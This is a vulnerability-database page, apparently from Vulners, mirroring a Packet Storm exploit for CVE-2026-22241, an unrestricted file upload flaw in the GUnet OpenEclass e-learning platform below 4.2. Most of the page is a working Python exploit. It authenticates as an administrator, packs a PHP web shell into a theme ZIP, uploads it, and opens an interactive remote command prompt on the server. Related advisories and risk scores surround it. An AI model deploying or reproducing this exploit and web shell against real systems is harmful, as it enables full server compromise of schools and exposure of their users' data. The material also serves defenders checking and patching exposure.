Lucene search
K

📄 GUnet OpenEclass E-learning Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by Ashif IqubalType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 74 Views

GUnet OpenEclass E-learning platform below 4.2 has remote code execution vulnerability.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2026-22241
8 Jan 202616:03
circl
CNNVD
Open eClass 安全漏洞
8 Jan 202600:00
cnnvd
CVE
CVE-2026-22241
8 Jan 202615:07
cve
Cvelist
CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)
8 Jan 202615:07
cvelist
Exploit DB
GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)
29 Apr 202600:00
exploitdb
EUVD
EUVD-2026-1672
8 Jan 202615:07
euvd
NVD
CVE-2026-22241
8 Jan 202615:15
nvd
OSV
CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)
8 Jan 202615:07
osv
Positive Technologies
PT-2026-2178
8 Jan 202600:00
ptsecurity
RedhatCVE
CVE-2026-22241
10 Jan 202605:40
redhatcve
Rows per page
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) 
    # Date: 2026-01-08
    # Exploit Author: Ashif Iqubal
    # Vendor Homepage: https://www.openeclass.org/
    # Software Link: https://download.openeclass.org/files/4.1/
    # Version: < 4.2
    # Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
    # CVE: CVE-2026-22241
    
    import os
    import sys
    import zipfile
    import requests
    import argparse
    from bs4 import BeautifulSoup
    from argparse import RawTextHelpFormatter
    
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RESET = '\033[0m'
    ORANGE = '\033[38;5;208m'
    
    MALICIOUS_PAYLOAD = """\
    <?php
    
    if(isset($_REQUEST['cmd'])){
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            die;
    }
    
    ?>
    """
    
    def banner():
        print(f'''{YELLOW}
        ┏━╸╻ ╻┏━╸   ┏━┓┏━┓┏━┓┏━┓   ┏━┓┏━┓┏━┓╻ ╻╺┓ 
        ┃  ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃ 
        ┗━╸┗┛ ┗━╸   ┗━╸┗━┛┗━╸┗━┛   ┗━╸┗━╸┗━╸  ╹╺┻╸
        {RED}                        Author: @Ashif1337 {RESET}''')
    
    def clean_server(openeclass,filename):
        print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
        # Remove the uploaded files
        requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
        print(f"{GREEN}[+] Server cleaned successfully!{RESET}")
    
    
    def execute_command(openeclass, filename):
        while True:
            # Prompt for user input with "eclass"
            cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")
    
            # Check if the command is 'quit', then break the loop
            if cmd.lower() == "quit":
                clean_server(openeclass,filename)
                print(f"{ORANGE}[+] Exiting...{RESET}")
                sys.exit()
    
            # Construct the URL with the user-provided command
            url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"
    
            # Execute the GET request
            try:
                response = requests.get(url)
    
                # Check if the request was successful
                if response.status_code == 200:
                    # Print the response text
                    print(f"{GREEN}{response.text}{RESET}")
    
            except requests.exceptions.RequestException as e:
                # Print any error that occurs during the request
                print(f"{RED}An error occurred: {e}{RESET}")
    
    
    def upload_web_shell(openeclass, username, password):
        login_url = f'{openeclass}/?login_page=1'
        login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
    
        # Login credentials
        payload = {
            'next': '/main/portfolio.php',
            'uname': f'{username}',
            'pass': f'{password}',
            'submit': 'Enter'
        }
    
        headers = {
            'Referer': login_page_url,
        }
    
        # Use a session to ensure cookies are handled correctly
        with requests.Session() as session:
            # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
            session.get(login_page_url)
    
            # Post the login credentials
            response = session.post(login_url, headers=headers, data=payload)
            
    
            # Create a zip file containing the malicious payload
            zip_file_path = 'poc.zip'
            with zipfile.ZipFile(zip_file_path, 'w') as zipf:
                zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
    
            # Get token
            token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)
    
            if token_url.status_code != 200 : 
                print(f"{RED}[X] Invalid Administrator Password!{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
            
            upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
            
            # Upload the zip file
            url = f'{openeclass}/modules/admin/theme_options.php'
            files = {
                'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
                'import': (None, ''),
                'token': (None, upload_token)
            }
            response = session.post(url, files=files)
    
            # Clean up the poc zip file
            os.remove(zip_file_path)
    
            # Check if the upload was successful
            if response.status_code == 200:
                print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
                print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
                return True
            else:
                print(f"{RED}[X] Failed to upload payload.{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
    
    
    
    
    def main():
        parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
        parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
        parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
        parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
        args = parser.parse_args()
    
        banner()
        # Running the main login and execute command function
        if upload_web_shell(args.eclassUrl, args.username, args.password):
            execute_command(args.eclassUrl, 'evil.php')
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.2
CVSS 48.6
EPSS0.03076
SSVC
74